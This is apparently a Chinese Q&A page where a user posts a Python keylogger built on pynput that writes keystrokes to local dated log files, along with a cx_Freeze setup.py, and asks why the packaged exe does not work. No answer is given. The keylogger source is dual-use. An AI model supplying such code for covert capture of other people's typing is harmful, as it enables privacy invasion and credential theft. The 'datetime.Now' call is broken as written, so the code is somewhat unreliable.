cx_Freeze无法正常工作于python键盘记录器脚本

问题描述

我有一个像这样的键盘记录器的 python脚本

from pynput.keyboard import Key,Listener
from pathlib import Path
from datetime import datetime

class Logger():
    limit = 1
    lineLength = 15
    count = 0
    exit = False
    text = []

    def __init__(self):
        self.setKeyboardListner()

    def keypressed(self,key):
        print(":: {}".format(key))
        self.text.append(str(key))
        self.count += 1
        if self.count % self.limit == 0: 
            self.log(self.text)
            self.resetText()
        if self.count % self.lineLength == 0:
            self.text.insert(0,"\n")
            self.resetCount()

    def keyreleased(self,key):
        print("** {}".format(key))
        if key == Key.esc:
            self.exit = True
            return False

    def setKeyboardListner(self):
        self.keyListner = Listener(
            on_press=self.keypressed,on_release=self.keyreleased)

    def startLogger(self):
        self.keyListner.start()

    def log(self,text):
        path = Path("./log") / "{}.txt".format(datetime.Now().strftime("%Y_%m_%d"))
        with path.open('a') as fp:
            fp.write(" ".join(self.text))
    def resetText(self): self.text = []
    def resetCount(self): self.count = 0

if __name__ == "__main__":
    print(datetime.Now().strftime("%Y_%m_%d"))
    logger = Logger()
    logger.startLogger()
    while True:
        if logger.exit:
            break
        pass

该脚本工作正常It is creating log text files in the log dir according to code and also printing out logs on console

我使用 cx_Freeze 将其转换为exe。 为此,我使用setup.py之类的

from cx_Freeze import Executable,setup
from pathlib import Path

# executables = [Executable("logger.py",base = "win32gui")]
executables = [Executable(str(Path("logger.py").absolute()))]

setup(
    name="sample",options={
        "build_exe": {
            "packages": ["pynput"],"include_files": ["./log"]
        }
    },discription="sample logger",executables=executables
)

而不是像下面这样运行setup.py:
python setup.py build

这是运行命令后我的文件夹的样子。

/folder
--/build
--/log
--/logger.py
--/setup.py

此exe文件无法正常运行。终端上没有按键控制台日志,也没有esc键破坏代码。日志文件也未创建!
我做错了什么事!

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)